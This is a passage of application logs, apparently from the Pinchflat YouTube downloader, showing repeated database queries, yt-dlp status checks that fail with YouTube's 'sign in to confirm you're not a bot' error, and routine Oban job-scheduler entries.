m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:40.737 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:40.738 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:40.738 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:40.739 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 02:51:40.739 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 02:51:40.739 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:40.739 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:40.739 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.740 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.740 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.740 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.740 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:40.740 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:40.741 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.741 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.741 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.741 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.741 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.741 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e1/bb/e1bb9db2a13d80bbb56ca9e9a3231ad3c391efcf781fabd7418814c930ce7ec3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:40.742 [debug] QUERY OK source="settings" db=0.4ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.742 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/ca/5fca898affcd049b24ace7b594b7e2fe998d61edcc105e5e317b155214c58ddc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:42.639 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/ca/5fca898affcd049b24ace7b594b7e2fe998d61edcc105e5e317b155214c58ddc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:42.639 [error] yt-dlp download error for media item #11535: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:42.639 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:42.640 [info] {"args":{"id":11535},"id":1714,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1903641,"event":"job:stop","queue_time":735508,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:42.647 [info] {"args":{"id":12546},"id":1716,"meta":{},"system_time":1774853502647280297,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:42.647 [debug] QUERY OK source="media_items" db=0.2ms idle=1905.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 02:51:42.647 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:42.648 [debug] QUERY OK source="sources" db=0.2ms idle=1905.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:42.648 [debug] QUERY OK source="media_profiles" db=0.1ms idle=939.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:42.649 [debug] QUERY OK source="media_items" db=0.2ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:42.649 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 02:51:42.649 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:42.650 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:42.650 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:42.650 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:42.651 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:42.651 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:42.651 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:42.651 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/f9/2ff9be8fe5d6cfd71392c1a5ff647711f997aa3bc0768d7f09ba074836090cc1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:42.990 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e1/bb/e1bb9db2a13d80bbb56ca9e9a3231ad3c391efcf781fabd7418814c930ce7ec3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:42.990 [error] yt-dlp download error for media item #12040: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:42.990 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:42.990 [info] {"args":{"id":12040},"id":1715,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2254127,"event":"job:stop","queue_time":735508,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:44.602 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/f9/2ff9be8fe5d6cfd71392c1a5ff647711f997aa3bc0768d7f09ba074836090cc1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:44.602 [error] yt-dlp download error for media item #12546: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:44.602 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:44.602 [info] {"args":{"id":12546},"id":1716,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1955214,"event":"job:stop","queue_time":2646527,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:48.451 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.135 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:52:18.453 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:48.454 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.136 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:53:18.456 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:48.458 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.137 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:54:18.460 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:48.461 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.138 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:55:18.462 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:48.463 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.139 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:56:18.464 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:48.465 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.140 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:57:18.467 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:48.468 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.141 [info] {"source":"oban","duration":104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:58:18.469 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:48.471 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.142 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:59:18.472 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:48.474 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.143 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:00:18.475 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:48.476 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.144 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:01:18.478 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:48.479 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.145 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:02:18.479 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:48.480 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.146 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:03:18.482 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:48.484 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.147 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:04:18.485 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:48.486 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.148 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:05:18.487 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:48.488 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.149 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:06:18.490 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:48.491 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.150 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:07:18.493 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:48.494 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.151 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:08:18.495 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:48.496 [info] 